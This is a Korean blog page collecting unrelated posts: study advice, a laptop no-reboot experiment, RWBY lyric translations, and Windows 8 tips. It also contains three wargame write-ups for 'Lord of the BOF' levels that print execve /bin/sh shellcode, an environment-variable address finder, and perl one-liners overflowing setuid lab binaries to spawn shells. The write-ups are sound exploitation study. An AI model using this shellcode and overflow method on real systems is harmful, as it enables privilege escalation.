반응형

솔직히 저도 아직 이런말 할 수준은 아닙니다. 초보고, 시작한지도 얼마 안됬고 하니까요..성격도 괴상하고

하지만, 컴퓨터를 처음 하시는 분들께,

예를 들면 c언어를 배우고 계실때, 다른 공부도 하는것이 좋겠지만 기본으로

컴퓨터의 구조와 워게임, 대회들을 공부하시는게 좋다고 생각합니다.

여기서, 컴퓨터 구조는 내부 구조나 메모리, 한 명령이 어떻게 이루어지는지 같은 내용을 말합니다.

그리고 워게임은 사람들한테 물어보고 구글링하고 삽질하는게 제일 잘 늘고, 대회는 한동안 문제를 구경하며 문제유형들을 알아내는것이 좋습니다. 그리고 대회 같은 경우는 풀이도 열심히 보는게 정석이죠.

모두에게 다르겠지만, 저는 이렇게 하는게 엄청 오래걸렸습니다. 설렁설렁해서 그렇기도 했지만 거의 일년이 걸렸습니다. 제가 이쪽 분야에 대해서 처음접하게 된게 2012년 7월 2일이었는데요, 한동안은 커뮤니티질만 하고 인맥도 늘리고 이렇게 대충대충 귀차니즘으로 조금씩 공부를 이어하다보니 처음으로 대회에서 문제를 풀 수 있었던 날짜는 올해 5월 23일이었습니다.(블로그 포스트를 참고하여 적었습니다) 열정은 있었지만, 귀차니즘이 열정보다 컸던게 문제였어요. 저때부터 열심히 했다면 저는 지금쯤 잘 할 수 있었겠죠.. 근데 어렵기도 하고 머리에도 잘 안들어오는거 붙들다보니 오래걸리더라고요ㅋㅋ..

물론 지금은 그나마 나아졌다고 생각하고있는데 귀차니즘이 너무 크다보니 진도도 느리고 집중도 못하고 고생하고있습니다;;

반응형

'KOREAN > ' 카테고리의 다른 글

About the IB.  (0) 2017.03.19
어떻게 시작해야하는지 모르겠을때  (0) 2013.11.18
윈도우 7 vs 윈도우 8  (0) 2013.10.31
'버퍼'란 무엇인가?  (5) 2013.10.08
[윈7/윈8] cmd 'telnet' 명령어 활성화시키기  (3) 2013.09.12
반응형

안녕하세요,

오늘은 제가 가지고 있는 삼성 ATIV로 실험을 진행해보았습니다.

2주동안 재부팅하지 않고 변화를 기록한 것입니다.

그냥 재미로 진행해본것이니 재미로 보시면 될듯합니다ㅋㅋ


1~4일: 아무런 문제 없음, 매일 모든 프로세스를 종료하고 닫아놓음

5일~: VM웨어를 백그라운드 프로세스로 돌리기 시작.

6일~:터치스크린에 터치를 안하고 있는곳에도 터치를 인식하는 오류 발생, 터치 불가능

1주 2일~:인터넷이 자주 끊김. 인터넷 설정도 잘 바뀌고 갑자기 인터넷 연결을 끊는 경우도 생김

1주 4일~: 메모리 과부하, 자꾸 메모리때문에 에러창이 뜸, 프로그램을 자꾸 닫음(그리 프로세스가 많지 않았는데도)

※여기서 적은 프로세스는 크롬(탭 약4개), IRC, 카카오톡, adobe pdf reader 한개를 칭한다

1주 5일: 비정상 작동, 화면가림. 카메라 에러(There's a problem with your camera)

1주 6일: 카메라 에러(찍은 사진이 회색으로 바뀜, 사진이 잘 찍히지 않음), 프로그램 크래시, OneNote App 작동불가(시작화면에서 멈춤), 전체적인 버벅거림, 파일익스플로러 크래시(렉걸림&재시작), 크래시가 약 4시간 간격으로 남. 과열이 빨리 되고 많이 뜨거워진다. 약 50~70도? 모니터 밑의 쇠부분이 달궈지고, 팬도 거의 계속 돌아간다. 렉은 너무 심해서 테트리스같은 게임 실행불가, 안그래도 Shockwave Flash가 너무 메모리를 많이 잡아먹어서 자꾸 크래시 남

※이것때문인진 모르겠으나 Visual C++작동안함

2주: Windows Update. 재부팅 됨. (망할...)

재부팅 후: 인터넷 접근성 확 떨어짐. youtube같은 사이트 업근불가.

   메모리문제는 없어짐(현재 1주 4일에서 말한것의 2배정도의 프로세스를 돌리고 있다)


결론: ATIV는 오래 켜놓지 맙시다.

ㅋㅋㅋㅋㅋ재밌었어요

근데 지금 인터넷이 잘 안되서 사진은 올릴수가 없네요.

굳이 하고싶으시다면 말리지 않겠습니다만 너무 고생해서 재밌긴 했었지만 힘들었습니다.. 하지마세여



☆사진갤러리★


<1주 4일~: 메모리 과부하, 자꾸 메모리때문에 에러창이 뜸>


<5일~: 백그라운드에 VM웨어를 켜놓음>


<1주 5일: 비정상 작동, 화면가림.>


<1주 6일: 프로그램 크래시>


<1주 6일: OneNote App 작동불가>


<컴퓨터 꺼지기 바로 직전, 업타임>



물론 재부팅하고 난 뒤에는 거의 괜찮아졌습니다.

하지만, 발열이 어째 많이 심해진것 같네요.

반응형

'KOREAN > 후기' 카테고리의 다른 글

[모나미] 플러스펜 36색 사용후기  (0) 2020.08.10
She Kills Monsters  (0) 2018.02.02
이매진 드래곤스 Smoke+Mirrors Live in Seoul 후기  (2) 2015.08.15
No Reboot Test [Samsung ATIV]  (2) 2013.11.16
카카오톡 PC버젼 후기  (0) 2013.07.01
Samsung Ativ Pro 1달 사용 후기.  (0) 2013.05.07
  1. BlogIcon p0p0pret 2013.11.17 00:14 신고

    껄껄

반응형

http://roosterteeth.com/archive/?id=7872&v=more

여기서 RWBY를 보실 수 있습니다


[Red like Roses]

Red like roses fills my dreams and brings me to the place you rest.
장미같이 빨간색은 내 꿈을 채우고 당신이 잠들어있는 곳으로 데려옵니다
White is cold and always yearning, burdened by a royal test.
하얀색은 차갑고 늘 고귀한 시험을 갈망하고,
Black the beast descends from shadows.
검은 야수들은 그림자에서(어둠에서) 나타나네
Yellow beauty burns gold.
노란색, 아름다움은 황금색으로 타오르네

[Mirror, Mirror]


Mirror, tell me something.

거울아, 내게 말해줘.

Tell me who's the loneliest of all?

누가 가장 외로운지 내게 말해줘.

Mirror, tell me something.

거울아, 내게 말해줘.

Tell me who's the loneliest of all?

누가 가장 외로운지 내게 말해줘.

Fear of, what's inside of me.

내 안에 있는 것을 무서워하며,

Tell me can a heart be turned to stone?

마음이 돌로 변할 수 있는지 내게 말해줘.


Mirror, mirror, what's behind you?

거울아, 거울아, 너의 뒤에는 뭐가 있니?

Save me from the things I see!

내가 보는 것들에서 날 구해줘

I can keep it from the world,

나는 세상에서 그것을 숨길 수 있는데,

Why won't you let me hide from me?

넌 왜 내가 나한테서 숨도록 내버려두지 않는거니?


Mirror, mirror, tell me something.

거울아, 거울아, 내게 말해줘

Who's the loneliest of all?

누가 가장 외롭니?


I'm the loneliest of all.

내가 제일 외로워.


[From Shadows]

From shadows
그림자 속에서 (어둠속에서)
We'll descend upon the world
우리는 세상에 내려올꺼야
Take back what you stole
당신이 훔친걸 되찾을꺼야
From shadows
그림자 속에서
We'll reclaim our destiny
우리는 우리의 운명을 되찾을꺼야
Set our future free
우리의 미래를 해방시키고
And we'll rise
우리는 일어설것이다
And we'll rise
우리는 일어설것이다

Above the darkness and the shame
어둠과 치욕을 딛고
Above the torture and the pain
고문과 고통을 딛고
Above the ridicule and hate
모욕과 증오를 딛고
Above the binding of our fate
우리를 가둬놓는 운명을 딛고

Born with no life...
인생없이
Into subjugation
압박속에 태어나
Treated like a worthless animal
값어치없는 짐승같이 대해졌고
Stripped of all rights
모든 권리를 빼앗긴
Just a lesser being
그저 하잖은 존재
Crushed by cruel ruthless human rule
잔인하고 무자비한 인간의 규칙에 의해 산산조각났다

When it started
그게 시작했을때
All we wanted was a chance to live our lives
우리는 우리의 삶을 살 수 있는 기회를 얻고싶은 것 뿐이었다
Now in darkness
이제 어둠에서
Taking everything we want and we will rise
우리가 원하는 모든것을 가지고 우리는 일어설 것이다
We'll rise
우리는 일어설 것이다
We'll rise
우리는 일어설 것이다
[I Burn]

Come at me,
나한테 와봐
And you'll see,
그리고 넌,
I'm more than meets the eye.
내가 단순히 겉에 보이는것의 이상이라는걸 알게 될꺼야
You think that,
너는 이렇게 생각하지,
You'll break me,
날 부술 꺼라고,
You're gonna find in time.
하지만 시간이 흐르면 알게 되겠지

You're standing too close to a flame that's burning,
너는 타오르고 있는 불꽃에 너무 가까이 서있어,
Hotter than the sun in the middle of July.
7월중순의 해보다 뜨거운,
Sending out your army but you still can't win,
너의 군대를 내보내도 아직 넌 이길 수 없어
Listen up silly boy cuz I'm gonna tell you why.
내가 말해줄테니 잘 들어봐, 멍청한 녀석아

I burn.
난 타올라.

Can't hold me now
더이상 나를 멈출 순 없어
You got nothing that can stop me.
너는 날 멈추게 할수 있는 것을 아무것도 가지고 있지 않아

I burn.
난 타올라

Swing all you want.
니가 웒는만큼 휘둘러봐,
Like a fever I will take you down.
나는 너를 열병처럼 쓰러트릴 테니까


가사출처- http://rwby.wikia.com/wiki/RWBY_Soundtrack

Animation by RoosterTeeth

Directed by Monty Oum

번역- 토끼



--------------------------------------------------------

Your works will never be forgotten- it's

still inspiring lots of people. Still can't

believe you're gone but hopefully you

are having a good time.


Rest in peace, Monty Oum.

Feb 1, 2015

--------------------------------------------------------


반응형

'TRANSLATIONS' 카테고리의 다른 글

[RWBY TRAILER OP] 가사, 동영상  (0) 2013.11.12
반응형


그저 아이디어였던 폰블락이 구글에 인수된 모토롤라에 의해 실현가능해졌습니다.

개발중이라네요. 부품 아이디어도 왠만하면 있는 것 같고. 실현될 날도 얼마 멀지 않았네요.

폰블락에서 모토롤라의 지향이 자기네들과 비슷해 협력하면서도 독립적인 프로젝트를 진행하겠다고 밝혔습니다.

기대되네요.

http://phonebloks.com

반응형

'KOREAN > 뻘글' 카테고리의 다른 글

xcz.kr 풀이를 다 옮겨왔다!  (0) 2013.11.28
추억의 예능프로그램들..  (0) 2013.11.27
Phonebloks- A phone worth keeping (1)  (0) 2013.11.02
Phonebloks- A phone worth keeping  (0) 2013.09.16
크래커와 해커의 차이  (0) 2013.09.15
블로그란 무엇인가  (0) 2013.08.19
반응형

/* 1. bash2를 사용해 \xff도 인식되도록 합니다*/

[cobolt@localhost cobolt]$ bash2


/*2. 환경변수를 생성합니다.*/

[cobolt@localhost cobolt]$ export COBOLT=$(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')

[cobolt@localhost cobolt]$ env //잘들어갔나 확인

PWD=/home/cobolt

REMOTEHOST=192.168.0.1

HOSTNAME=localhost.localdomain

LESSOPEN=|/usr/bin/lesspipe.sh %s

USER=cobolt

LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:

MACHTYPE=i386-redhat-linux-gnu

MAIL=/var/spool/mail/cobolt

INPUTRC=/etc/inputrc

BASH_ENV=/home/cobolt/.bashrc

LANG=en_US

DISPLAY=192.168.0.1:0.0

LOGNAME=cobolt

SHLVL=2

USERNAME=

SHELL=/bin/bash

HOSTTYPE=i386

HISTSIZE=1000

OSTYPE=linux-gnu

TERM=xterm

HOME=/home/cobolt

PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/cobolt/bin

COBOLT=j

        X?Rh//shh/bin??S?訴€  //굿

_=/usr/bin/env


/* 3. 환경변수의 주소를 찾습니다 */

[cobolt@localhost cobolt]$ vi getenv.c

[cobolt@localhost cobolt]$ cat getenv.c

#include <stdio.h>

int main(int argc, char *argv[]){

printf("%p\n",getenv(argv[1]));

return 0;

}

[cobolt@localhost cobolt]$ gcc getenv.c -o getenv

[cobolt@localhost cobolt]$ ./getenv COBOLT

0xbfffffd0  //주소

[cobolt@localhost cobolt]$ (perl -e 'print "\x90"x20, "\xd0\xff\xff\xbf"';cat)|./goblin 

/*stdin을 공격할 수 있게 만드는(?) 코드를 추가시킵니다.*/

my-pass

?????????????????????퓅y-pass

my-pass

euid = 503


처음에는 그냥 전 단계같이 환경변수만 넣었더니 안되더라구요. 그래서 구글링하다가 stdin을 공격하는 코드중 cat가 있어 넣어봤습니다. 그래도 안되서 아는형께 물어보니 파이프를 사용해 넣는거라서 앞의 $표시는 필요없다고 해요. 


이번에 배운것:

-cat를 사용할땐 앞에 달러표시를 지운다

-달러표시는 커맨드라인으로 넘겨줄때, 파이프는 괄호만

-환경변수의 주소를 알아낼때, 환경변수가 프로그램에 밀리므로 나오는 주소가 프로그램명에 따라 다르다

-xshell♥


노트쓴건 없네요.. 딱히..


반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

wolfman->darkelf  (0) 2013.11.21
orc->wolfman  (0) 2013.11.21
goblin->orc  (0) 2013.11.20
cobolt->goblin  (0) 2013.11.01
gremlin->cobolt  (0) 2013.10.30
gate->gremlin  (0) 2013.10.27
반응형

안녕하세요, 에버토끼입니다.

요즘 검색어를 보니 윈도우 8에 대한 검색이 많더라구요.

그래서 오늘은 윈도우 8 특집(?) 입니다!


특집이라고 할건 없구요, 

가장 자주 들어오는 검색어 두개에 대해 포스팅을 해보겠습니다.


1)윈도우7이 가벼운가 윈도우8이 가벼운가


결론부터 말하자면, 윈8이 더 가볍습니다. 윈도우 8의 목적은, 요즘 세상 트렌드(?)에 따라 스마트 기기들에 실행가능한 운영체제입니다. 말하자면, 타블렛같은 기기들에서 사용가능한 OS말이죠. 이런 기기들은 아시다시피, 많이 발달했다고는 하나 그래도 컴퓨터에 비해서는 아직 부족한건 사실입니다. 하지만 컴퓨터와 타블렛에 둘다 돌아가게 하기 위해 윈도우 8은 가볍게 만들어졌습니다. 윈도우 7도 가볍긴 한데, 솔직히 저는 두 os의 빠르기 차이를 별로 못느낍니다. 부팅은 빨리 되더라고요.

+)윈8은 타블렛용인지라, 터치스크린이 없는 노트북으로 쓸 경우에 좀 불편한 면이 있습니다. 앱들도 대부분 터치가 필요한 앱들도 많더라고요..


2) 윈도우8 시작메뉴 만들기 


윈도우의 새 시작메뉴때문에 고생하시는 분들이 많으시더라구요. 아무래도 오랫동안 익숙해지던게 없어지다 보니 말이죠.. 근데 삼성에서는 이걸 배려(?)차원으로 시작메뉴를 지원해줍니다. 윈도우 8.1에서는 버튼도 생겼던데 말이죠.  근데 얘는 단점이 삼성컴퓨터에서밖에 안됩니다. 

(사진은 업로드가 느린 관계로 올리지 않습니다)

1) 시작메뉴에서 아무것도 누르지 않고 'SW Update'를 입력하신 후, 뜨는 프로그램을 누릅니다.

2)프로그램을 실행시키고 처음 나오는 절차를 밟습니다.

3)업데이트가 진행될 것이 있으면 진행하신 후, 오른쪽에 있는 All Software탭을 누릅니다.

4)'Quick Starter'를 찾으신 후, 클릭하면 위의 화면이 바뀌는데 왼쪽 아래의 'Install'버튼을 누릅니다.

5)설치가 됩니다. 그리고 다른 편의기능들도 받고싶으시면 받으시면 됩니다.

6)끝!


넴..이상입니다 :)

반응형

'KOREAN > ' 카테고리의 다른 글

About the IB.  (0) 2017.03.19
어떻게 시작해야하는지 모르겠을때  (0) 2013.11.18
윈도우 7 vs 윈도우 8  (0) 2013.10.31
'버퍼'란 무엇인가?  (5) 2013.10.08
[윈7/윈8] cmd 'telnet' 명령어 활성화시키기  (3) 2013.09.12
반응형

/* 1. gremlin으로 로그인 하고 난 뒤 내용물을 봅시다.*/

[gremlin@localhost gremlin]$ ls -al

total 156

drwx------    2 gremlin  gremlin      4096 Oct 26 16:06 .

drwxr-xr-x   25 root     root         4096 Mar 30  2010 ..

-rw-------    1 gremlin  gremlin      8903 Oct 26 11:39 .bash_history

-rw-r--r--    1 gremlin  gremlin        24 Feb 26  2010 .bash_logout

-rw-r--r--    1 gremlin  gremlin       230 Feb 26  2010 .bash_profile

-rw-r--r--    1 gremlin  gremlin       124 Feb 26  2010 .bashrc

-rwxr-xr-x    1 gremlin  gremlin       333 Feb 26  2010 .emacs

-rw-r--r--    1 gremlin  gremlin      3394 Feb 26  2010 .screenrc

-rwxrwxr-x    1 gremlin  gremlin     11883 Oct 26 03:31 a.out

-rw-rw-r--    1 gremlin  gremlin       291 Oct 25 22:40 cobalt.c

-rwsr-sr-x    1 cobolt   cobolt      11970 Feb 26  2010 cobolt

-rw-r--r--    1 gremlin  gremlin       291 Mar 29  2010 cobolt.c

-rw-------    1 gremlin  gremlin     61440 Oct 25 22:41 core

-rwxrwxr-x    1 gremlin  gremlin     11842 Oct 26 16:06 getenv

-rw-rw-r--    1 gremlin  gremlin        97 Oct 26 16:05 getenv.c

-rw-rw-r--    1 gremlin  gremlin       143 Oct 26 03:31 whereis.c


COBOLT:

[gremlin@localhost gremlin]$ cat cobolt.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - cobolt

        - small buffer

*/


int main(int argc, char *argv[])

{

    char buffer[16];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}

/*버퍼가 작습니다. 여기서 메모리는 '버퍼 16바이트, sfp 4바이트, 리턴어드레스 4바이트'로 이루어져있다고 가정할수 있습니다.*/


/* 2. export명령어로 환경변수를 만듭니다. 여기서 print문도 꼭 포함하셔야 합니다*/

[gremlin@localhost gremlin]$ export GREMLIN=`perl -e 'print"\x6a\x0b\x58\x99\x5

2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`


/* 3. env명령어로 환경변수가 잘 들어갔는지 봅니다.*/

[gremlin@localhost gremlin]$ env

PWD=/home/gremlin

REMOTEHOST=192.168.0.1

HOSTNAME=localhost.localdomain

LESSOPEN=|/usr/bin/lesspipe.sh %s

USER=gremlin

LS_COLORS=

MACHTYPE=i386-redhat-linux-gnu

MAIL=/var/spool/mail/gremlin

INPUTRC=/etc/inputrc

BASH_ENV=/home/gremlin/.bashrc

GREMLIN=j

         X셊h//shh/bin됥RS됣?  //굿

LANG=en_US

LOGNAME=gremlin

SHLVL=2

USERNAME=

SHELL=/bin/bash

HOSTTYPE=i386

HISTSIZE=1000

OSTYPE=linux-gnu

TERM=ansi

HOME=/home/gremlin

PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/gremlin/bin

COBOLT=j

        X셊h//shh/bin됥RS됣?

_=/usr/bin/env


/* 4. 환경변수의 주소를 알아냅니다.*/

[gremlin@localhost gremlin]$ cat getenv.c

#include <stdio.h>

int main(int argc, char *argv[]){

printf("%p\n",getenv(argv[1]));

return 0;

}

[gremlin@localhost gremlin]$ ./getenv GREMLIN

0xbffffee7 //이게 리턴어드레스가 됩니다


/* 5. 필요한 양의 nop를 넣고 리턴어드레스를 넣습니다.*/

[gremlin@localhost gremlin]$ ./cobolt `perl -e 'print"\x90"x20, "\xe7\xfe\xff\x

bf"'`

릱릱릱릱릱릱릱릱릱릱澳

풺ash$ my-pass


역시 이번에도 달고나 문서가 많은 도움이 되었습니다.

기본은 조금씩 감이 잡히네요. 그래서 그런지 지난번보다는 덜 헤맨것같아요.


NOTES:

GREMLIN=  0xbffffee7

"\xe7\xfe\xff\xbf"'`

buffer=16

nop 20, ret 4


반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

wolfman->darkelf  (0) 2013.11.21
orc->wolfman  (0) 2013.11.21
goblin->orc  (0) 2013.11.20
cobolt->goblin  (0) 2013.11.01
gremlin->cobolt  (0) 2013.10.30
gate->gremlin  (0) 2013.10.27
반응형

LoB를 풀으시기 전에 꼭 이 링크로 들어가 버퍼오버플로우 문서를 꼭 읽으시기 바랍니다. 엄청난 도움을 주거든요.

http://wowhacker.com/board.php?bid=174&bs_type=&bs_str=&cate=0&pg=0&mode=view&uid=154748


   LoB 설명/파일 받는곳


그럼, 바로 풀이해보겠습니다.



gate로 로그인 한 후에, ls -al을 하니 파일들이 보입니다. (a.out 과 gramlin.c는 무시하셔도 됩니다)

우선 레벨 이름이 gremlin이니 gremlin.c를 구경해보겠습니다.

달고나 문서를 열심히 보셨다면 낯익으실겁니다. 66쪽쯤을 참고하였는데요, 

버퍼는 256바이트이고, 더미는 없으니 바로 sfp 4바이트와 리턴어드레스 4바이트가 있을테니 260바이트를 쉘코드와 NOP로 채우고, 리턴어드레스를 넣는 방법을 시도했습니다.

(쉘코드는 제가 작성하지 않았습니다)


 


릱릱! 이게 쉘코드를 땄을때의 화면입니다.

저는 펄로 했지만 파이썬도 똑같아요 -e 대신 -c를 사용하고, 곱셈부호대신 *를 사용하고, 쉽표대신 +를 쓴다는게 다르지만..

모두들 재밌는 lob하십쇼ㅋㅋ


풀이중 제가 적은 노트:

Shellcode=23 bytes

그러므로 NOP는 237bytes

esp=0xbffffd7c

"\x7c\xfd\xff\xbf"


반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

wolfman->darkelf  (0) 2013.11.21
orc->wolfman  (0) 2013.11.21
goblin->orc  (0) 2013.11.20
cobolt->goblin  (0) 2013.11.01
gremlin->cobolt  (0) 2013.10.30
gate->gremlin  (0) 2013.10.27

+ Recent posts